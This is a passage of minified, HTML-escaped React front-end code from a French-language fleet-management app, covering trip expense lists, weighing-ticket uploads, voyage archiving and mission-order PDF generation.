&quot;,He(Bt.voyageExpensesTotal),&quot; enregistrées par le chauffeur)&quot;]})]})]}),a.jsx(sO,{missionId:n,onAdd:Lt})]})}),a.jsx(Et,{children:Pe?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):Re.length===0?a.jsxs(&quot;div&quot;,{className:&quot;text-center py-12 text-muted-foreground&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;mb-4&quot;,children:&quot;Aucune dépense générale enregistrée pour ce voyage&quot;}),a.jsx(sO,{missionId:n,onAdd:Lt})]}):a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:Object.entries(Le).map(([ie,ae])=&gt;{const Ee=a4[ie]||a4.autre,re=s4[ie]||s4.autre,We=bne[ie]||ie,Tt=ae.reduce((H,ze)=&gt;{const Ze=ze.montant??ze.amountFcfa??null,he=Ze!=null?Number(Ze):0;return H+(isNaN(he)?0:he)},0);return a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;div&quot;,{className:`p-2 rounded-lg ${re}`,children:a.jsx(Ee,{className:&quot;h-4 w-4&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:We}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[ae.length,&quot; dépense&quot;,ae.length&gt;1?&quot;s&quot;:&quot;&quot;]})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-bold&quot;,children:He(Tt)})]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-3 pl-4 border-l-2 border-muted&quot;,children:ae.map(H=&gt;a.jsx(w6,{expense:H,onDelete:ir,onViewJustificatif:ze=&gt;window.open(ze,&quot;_blank&quot;)},H.id))})]},ie)})})})]}),Ke.length&gt;0&amp;&amp;a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Dépenses enregistrées par le chauffeur&quot;}),a.jsx(wn,{children:&quot;Frais enregistrés via l&#039;application PWA&quot;})]}),a.jsx(Et,{children:tt?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[Ke.map(ie=&gt;{const Ee={fuel:&quot;Carburant&quot;,toll:&quot;Péage&quot;,parking:&quot;Stationnement&quot;,meal:&quot;Repas&quot;,accommodation:&quot;Hébergement&quot;,other:&quot;Autre&quot;}[ie.category]||ie.category;return a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 border rounded-lg&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between mb-1&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:Ee}),a.jsx(&quot;span&quot;,{className:&quot;text-lg font-bold text-red-600&quot;,children:He(ie.amountFcfa)})]}),ie.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-1&quot;,children:ie.description}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:Wr(new Date(ie.expenseAt||ie.createdAt),&quot;PPP &#039;à&#039; HH:mm&quot;,{locale:Hr})})]}),ie.receiptUrl&amp;&amp;a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;window.open(Sr(ie.receiptUrl)||ie.receiptUrl,&quot;_blank&quot;),children:a.jsx(po,{className:&quot;h-4 w-4&quot;})})]},ie.id)}),a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:&quot;Total des dépenses chauffeur&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xl font-bold text-red-600&quot;,children:He(Bt.voyageExpensesTotal)})]})})]})})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Dépenses par tour&quot;}),a.jsx(wn,{children:&quot;Dépenses regroupées par tour (aller / retour)&quot;})]}),a.jsx(Et,{children:we.length===0?a.jsx(&quot;div&quot;,{className:&quot;text-center py-12 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucun voyage associé à cette mission&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:Array.isArray(we)&amp;&amp;we.map(ie=&gt;{const ae=pt.filter(We=&gt;We.tripId===ie.id),Ee=ae.reduce((We,Tt)=&gt;{const H=Tt.montant!=null?Number(Tt.montant):0;return We+(isNaN(H)?0:H)},0),re=ie.origine&amp;&amp;ie.destination?`${ie.origine} → ${ie.destination}`:`Voyage #${ie.id}`;return a.jsx(it,{className:&quot;border-l-4 border-l-primary&quot;,children:a.jsxs(Et,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between mb-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-lg&quot;,children:re}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:ie.status===&quot;scheduled&quot;?&quot;Programmé&quot;:ie.status===&quot;in_transit&quot;?&quot;En cours&quot;:ie.status===&quot;completed&quot;?&quot;Terminé&quot;:&quot;Annulé&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[ae.length,&quot; dépense&quot;,ae.length&gt;1?&quot;s&quot;:&quot;&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;text-right&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold&quot;,children:He(Ee)}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Total du voyage&quot;})]})]}),ae.length&gt;0?a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-3&quot;,children:ae.map(We=&gt;a.jsx(w6,{expense:We,onViewJustificatif:Tt=&gt;window.open(Tt,&quot;_blank&quot;)},We.id))}):a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucune dépense pour ce voyage&quot;}),a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;mt-4 w-full&quot;,onClick:()=&gt;r(`/trajets/${ie.id}`),children:&quot;Voir le détail du voyage&quot;})]})},ie.id)})})})]})]})]}),a.jsx(En,{open:G,onOpenChange:J,children:a.jsxs(yn,{className:&quot;max-w-[98vw] w-full p-0 max-h-[98vh] overflow-hidden flex flex-col&quot;,children:[a.jsxs(Cn,{className:&quot;p-4 pb-2 flex-shrink-0&quot;,children:[a.jsx(In,{children:&quot;Bon de chargement&quot;}),a.jsxs(Mn,{children:[&quot;N° &quot;,u.loadingOrderNumber,&quot; - &quot;,u.loadingOrderDate&amp;&amp;Wr(new Date(u.loadingOrderDate),&quot;PPP&quot;,{locale:Hr})]})]}),a.jsx(&quot;div&quot;,{className:&quot;p-2 flex-1 overflow-auto flex items-center justify-center min-h-0&quot;,children:u.loadingBonImageUrl&amp;&amp;a.jsx(&quot;img&quot;,{src:Sr(u.loadingBonImageUrl)||u.loadingBonImageUrl,alt:&quot;Bon de chargement&quot;,className:&quot;max-w-[95vw] max-h-[90vh] w-auto h-auto rounded-lg border object-contain&quot;})})]})}),a.jsx(En,{open:T!==null,onOpenChange:ie=&gt;{ie||($(null),M(null),L(null),W(null))},children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] mx-4 max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Modifier les informations du chauffeur&quot;}),a.jsx(Mn,{children:&quot;Modifiez les tickets de pesée et autres informations renseignées par le chauffeur&quot;})]}),O&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{className:&quot;text-sm font-medium mb-2 block&quot;,children:&quot;Ticket de pesée de chargement&quot;}),O.loadingWeighingTicketUrl&amp;&amp;!P&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mb-2 relative group&quot;,children:[a.jsx(&quot;img&quot;,{src:O.loadingWeighingTicketUrl,alt:&quot;Ticket actuel&quot;,className:&quot;w-full h-32 object-cover rounded-lg border cursor-pointer hover:opacity-90 transition-opacity&quot;,onClick:()=&gt;window.open(O.loadingWeighingTicketUrl,&quot;_blank&quot;)}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2 opacity-0 group-hover:opacity-100 transition-opacity bg-background/80&quot;,onClick:()=&gt;window.open(O.loadingWeighingTicketUrl,&quot;_blank&quot;),children:a.jsx(hI,{className:&quot;h-4 w-4&quot;})}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1 text-center&quot;,children:&quot;Ticket actuel&quot;})]}),a.jsx(&quot;input&quot;,{type:&quot;file&quot;,accept:&quot;image/*&quot;,id:&quot;edit-loading-ticket&quot;,onChange:ie=&gt;{const ae=ie.target.files?.[0];ae&amp;&amp;L(ae)},className:&quot;hidden&quot;}),P?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;img&quot;,{src:URL.createObjectURL(P),alt:&quot;Nouveau ticket&quot;,className:&quot;w-full h-32 object-cover rounded-lg border&quot;}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;L(null),className:&quot;w-full&quot;,children:&quot;Supprimer&quot;})]}):a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;document.getElementById(&quot;edit-loading-ticket&quot;)?.click(),className:&quot;w-full&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),O.loadingWeighingTicketUrl?&quot;Remplacer le ticket&quot;:&quot;Ajouter un ticket&quot;]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{className:&quot;text-sm font-medium mb-2 block&quot;,children:&quot;Ticket de pesée de déchargement&quot;}),O.unloadingWeighingTicketUrl&amp;&amp;!X&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mb-2 relative group&quot;,children:[a.jsx(&quot;img&quot;,{src:O.unloadingWeighingTicketUrl,alt:&quot;Ticket actuel&quot;,className:&quot;w-full h-32 object-cover rounded-lg border cursor-pointer hover:opacity-90 transition-opacity&quot;,onClick:()=&gt;window.open(O.unloadingWeighingTicketUrl,&quot;_blank&quot;)}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2 opacity-0 group-hover:opacity-100 transition-opacity bg-background/80&quot;,onClick:()=&gt;window.open(O.unloadingWeighingTicketUrl,&quot;_blank&quot;),children:a.jsx(hI,{className:&quot;h-4 w-4&quot;})}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1 text-center&quot;,children:&quot;Ticket actuel&quot;})]}),a.jsx(&quot;input&quot;,{type:&quot;file&quot;,accept:&quot;image/*&quot;,id:&quot;edit-unloading-ticket&quot;,onChange:ie=&gt;{const ae=ie.target.files?.[0];ae&amp;&amp;W(ae)},className:&quot;hidden&quot;}),X?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;img&quot;,{src:URL.createObjectURL(X),alt:&quot;Nouveau ticket&quot;,className:&quot;w-full h-32 object-cover rounded-lg border&quot;}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;W(null),className:&quot;w-full&quot;,children:&quot;Supprimer&quot;})]}):a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;document.getElementById(&quot;edit-unloading-ticket&quot;)?.click(),className:&quot;w-full&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),O.unloadingWeighingTicketUrl?&quot;Remplacer le ticket&quot;:&quot;Ajouter un ticket&quot;]})]})]}),a.jsxs(Na,{children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;{$(null),M(null),L(null),W(null)},children:&quot;Annuler&quot;}),a.jsx(ge,{onClick:xe,disabled:de.isPending,children:de.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Enregistrement...&quot;]}):&quot;Enregistrer&quot;})]})]})}),a.jsx(du,{open:_,onOpenChange:C,children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:E?&quot;Archiver ce voyage ?&quot;:&quot;Supprimer ce voyage ?&quot;}),a.jsx(Cc,{children:E?a.jsx(a.Fragment,{children:&quot;Ce voyage a commencé (il contient des événements dans le journal). Il sera archivé et ne s&#039;affichera plus dans la liste des voyages actifs, mais restera accessible pour consultation.&quot;}):a.jsx(a.Fragment,{children:&quot;Cette action est irréversible. Le voyage sera définitivement supprimé.&quot;})})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:async()=&gt;{if(n)try{const ie=await S.mutateAsync(n);C(!1),v({title:ie.archived?&quot;Voyage archivé&quot;:&quot;Voyage supprimé&quot;,description:ie.archived?&quot;Le voyage a été archivé avec succès.&quot;:&quot;Le voyage a été supprimé avec succès.&quot;}),r(&quot;/voyages&quot;)}catch{}},className:E?&quot;bg-orange-600 hover:bg-orange-700&quot;:&quot;bg-destructive text-destructive-foreground hover:bg-destructive/90&quot;,disabled:S.isPending,children:S.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),E?&quot;Archivage...&quot;:&quot;Suppression...&quot;]}):E?&quot;Archiver&quot;:&quot;Supprimer&quot;})]})]})}),a.jsx(En,{open:ne,onOpenChange:V,children:a.jsxs(yn,{className:&quot;max-w-6xl w-full max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ordre de mission&quot;}),a.jsxs(Mn,{children:[&quot;Voyage &quot;,u.code,&quot; - &quot;,u.title]})]}),a.jsx(kHe,{voyageId:n||0})]})})]})}function ZHe(){const[,e]=mg(&quot;/voyages/:id/ordre-de-mission&quot;),[,t]=Gi(),r=e?.id?parseInt(e.id):null,{data:n,isLoading:i,error:s}=fY(r||0),[o,l]=I.useState(!1);return I.useEffect(()=&gt;{n&amp;&amp;!o&amp;&amp;(l(!0),(async()=&gt;{try{const d=await Gw(a.jsx(b6,{data:n})).toBlob(),u=URL.createObjectURL(d),h=document.createElement(&quot;a&quot;);h.href=u,h.download=`ordre-de-mission-${n.voyage.code}.pdf`,document.body.appendChild(h),h.click(),document.body.removeChild(h),URL.revokeObjectURL(u),setTimeout(()=&gt;{t(`/voyages/${r}`)},500)}catch(d){console.error(&quot;Erreur lors de la génération du PDF:&quot;,d),alert(&quot;Erreur lors de la génération du PDF. Veuillez réessayer.&quot;),l(!1)}})())},[n,r,t,o]),r?i||o?a.jsx(&quot;div&quot;,{className:&quot;max-w-4xl mx-auto p-8&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col justify-center items-center py-12 space-y-4&quot;,children:[a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:i?&quot;Chargement des données...&quot;:&quot;Génération du PDF...&quot;})]})}):s||!n?a.jsx(&quot;div&quot;,{className:&quot;max-w-4xl mx-auto p-8&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center space-y-4&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-center text-destructive&quot;,children:s instanceof Error?s.message:&quot;Erreur lors du chargement de l&#039;ordre de mission&quot;}),a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;t(`/voyages/${r}`),children:[a.jsx(iu,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Retour au voyage&quot;]})]})}):a.jsx(&quot;div&quot;,{className:&quot;max-w-4xl mx-auto p-8&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center space-y-4&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Génération du PDF en cours...&quot;}),a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})]})}):a.jsxs(&quot;div&quot;,{className:&quot;max-w-4xl mx-auto p-8&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-center text-muted-foreground&quot;,children:&quot;ID de voyage invalide&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-center mt-4&quot;,children:a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;t(&quot;/voyages&quot;),children:[a.jsx(iu,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Retour aux voyages&quot;]})})]})}function JHe({imageUrl:e,onImageChange:t,isLoading:r=!1}){const[n,i]=I.useState(!1),[s,o]=I.useState(!1),l=I.useRef(null),c=I.useRef(null),{toast:d}=Er(),u=async y=&gt;{if(y){if(!y.type.startsWith(&quot;image/&quot;)){alert(&quot;Veuillez sélectionner une image&quot;);return}if(y.size&gt;5*1024*1024){alert(&quot;L&#039;image est trop grande (maximum 5MB)&quot;);return}o(!0);try{const v=await Hm(y,{preset:&quot;pod&quot;}),w=((1-v.optimizedSize/v.originalSize)*100).toFixed(0);v.originalSize&gt;v.optimizedSize&amp;&amp;d({title:&quot;Image optimisée&quot;,description:`${ol(v.originalSize)} → ${ol(v.optimizedSize)} (-${w}%)`,duration:3e3}),i(!0);const j=await g$e(v.file);t(j.url)}catch(v){console.error(&quot;Error uploading justificatif:&quot;,v),d({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:v instanceof Error?v.message:&quot;Erreur lors de l&#039;upload du justificatif&quot;})}finally{o(!1),i(!1)}}},h=()=&gt;{c.current?.click()},p=()=&gt;{l.current?.click()},A=()=&gt;{t(null),l.current&amp;&amp;(l.current.value=&quot;&quot;),c.current&amp;&amp;(c.current.value=&quot;&quot;)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[e?a.jsx(it,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:e,alt:&quot;Justificatif&quot;,className:&quot;w-full h-auto max-h-64 object-contain rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:A,disabled:n||r||s,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})}):a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:h,disabled:n||r||s,className:&quot;flex-1&quot;,children:[n||s?a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}):a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:p,disabled:n||r||s,className:&quot;flex-1&quot;,children:[n||s?a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}):a.jsx(Nm,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]}),a.jsx(&quot;input&quot;,{ref:l,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:y=&gt;u(y.target.files?.[0]||null)}),a.jsx(&quot;input&quot;,{ref:c,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,className:&quot;hidden&quot;,onChange:y=&gt;u(y.target.files?.[0]||null)})]})}function XHe({tripId:e,onAdd:t,trigger:r}){const[n,i]=I.useState(!1),[s,o]=I.useState({categorie:&quot;carburant&quot;,montant:0,date:new Date().toISOString().split(&quot;T&quot;)[0],description:void 0,justificatifUrl:void 0}),l=c=&gt;{c.preventDefault(),t?.({...s,tripId:e}),i(!1),o({categorie:&quot;carburant&quot;,montant:0,date:new Date().toISOString().split(&quot;T&quot;)[0],description:void 0,justificatifUrl:void 0})};return a.jsxs(En,{open:n,onOpenChange:i,children:[a.jsx(ah,{asChild:!0,children:r||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-expense&quot;,className:&quot;w-full md:w-auto&quot;,size:&quot;sm&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une dépense&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ajouter une dépense&quot;}),a.jsx(Mn,{children:&quot;Enregistrez une dépense pour ce voyage.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:l,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;categorie&quot;,children:[&quot;Catégorie &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:s.categorie,onValueChange:c=&gt;o({...s,categorie:c}),required:!0,children:[a.jsx(Xr,{id:&quot;categorie&quot;,&quot;data-testid&quot;:&quot;select-category&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner une catégorie&quot;})}),a.jsx(en,{children:FC.map(c=&gt;a.jsx(Qt,{value:c,children:c.charAt(0).toUpperCase()+c.slice(1).replace(&quot;_&quot;,&quot; &quot;)},c))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;montant&quot;,children:[&quot;Montant (FCFA) &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;montant&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,placeholder:&quot;50000&quot;,value:s.montant,onChange:c=&gt;o({...s,montant:parseFloat(c.target.value)||0}),required:!0,min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-amount&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;date&quot;,children:[&quot;Date &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;date&quot;,type:&quot;date&quot;,value:s.date,onChange:c=&gt;o({...s,date:c.target.value}),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-date&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;description&quot;,children:&quot;Description&quot;}),a.jsx(K0,{id:&quot;description&quot;,placeholder:&quot;Détails de la dépense...&quot;,value:s.description||&quot;&quot;,onChange:c=&gt;o({...s,description:c.target.value||void 0}),rows:3,&quot;data-testid&quot;:&quot;textarea-description&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Justificatif (photo du ticket)&quot;}),a.jsx(JHe,{imageUrl:s.justificatifUrl,onImageChange:c=&gt;o({...s,justificatifUrl:c||void 0})})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;i(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Ajouter&quot;})]})]})]})]})}async function eqe(e){return await $t(`/api/trips/${e}/expenses`)}async function tqe(e){return await $t(&quot;/api/trip-expenses&quot;,{method:&quot;POST&quot;,body:e})}async function rqe(e){await $t(`/api/trip-expenses/${e}`,{method:&quot;DELETE&quot;})}function nqe(e){return cr({queryKey:[&quot;/api/trips&quot;,e,&quot;expenses&quot;],queryFn:()=&gt;eqe(e),enabled:!!e})}function iqe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;tqe(t),onSuccess:(t,r)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;,r.tripId,&quot;expenses&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/trip-expenses&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;,r.tripId]}),e({title:&quot;Succès&quot;,description:&quot;La dépense a été ajoutée avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible d&#039;ajouter la dépense&quot;})}})}function aqe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;rqe(t),onSuccess:(t,r)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trip-expenses&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/trip-expenses&quot;,r]}),jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;]}),e({title:&quot;Succès&quot;,description:&quot;La dépense a été supprimée avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de supprimer la dépense&quot;})}})}async function sqe(e,t=5e3){return await $t(`/api/trips/${e}/track-points?limit=${t}`)}function oqe(e,t=5e3){return cr({queryKey:[&quot;/api/trips&quot;,e,&quot;track-points&quot;,t],queryFn:()=&gt;sqe(e,t),enabled:e!==null})}const P3=(e,t)=&gt;{if(!e)return&quot;—&quot;;try{const r=e instanceof Date?e:new Date(e);return isNaN(r.getTime())?&quot;—&quot;:Wr(r,t,{locale:Hr})}catch{return&quot;—&quot;}};function lqe(){const[,e]=mg(&quot;/trajets/:id&quot;),[,t]=Gi(),r=e?.id?parseInt(e.id):null,{toast:n}=Er(),[i,s]=I.useState(null),{data:o,isLoading:l}=cr({queryKey:[&quot;/api/trips&quot;,r],queryFn:um({on401:&quot;throw&quot;}),enabled:!!r}),{data:c}=cr({queryKey:[&quot;/api/vehicles&quot;,o?.vehicleId],queryFn:um({on401:&quot;throw&quot;}),enabled:!!o?.vehicleId}),{data:d}=cr({queryKey:[&quot;/api/trailers&quot;,o?.trailerId],queryFn:um({on401:&quot;throw&quot;}),enabled:!!o?.trailerId}),{data:u=[]}=cr({queryKey:[&quot;/api/trips&quot;,r,&quot;crew&quot;],queryFn:um({on401:&quot;throw&quot;}),enabled:!!r}),{data:h=[],isLoading:p}=nqe(r||0),A=iqe(),y=aqe(),v=I.useMemo(()=&gt;({totalExpenses:h.reduce((S,_)=&gt;S+_.montant,0),totalRevenues:0}),[h]);if(!r)return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(&quot;/trajets&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsx(it,{className:&quot;p-8&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-center text-muted-foreground&quot;,children:&quot;ID de voyage invalide&quot;})})]});if(l)return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(&quot;/trajets&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})]});if(!o)return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(&quot;/trajets&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsx(it,{className:&quot;p-8&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-center text-destructive&quot;,children:&quot;Voyage non trouvé&quot;})})]});const w=E=&gt;{A.mutate(E,{onSuccess:()=&gt;{n({title:&quot;Succès&quot;,description:&quot;La dépense a été ajoutée avec succès&quot;})}})},j=E=&gt;{confirm(&quot;Êtes-vous sûr de vouloir supprimer cette dépense ?&quot;)&amp;&amp;y.mutate(E)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(&quot;/trajets&quot;),children:a.jsx(iu,{className:&quot;h-5 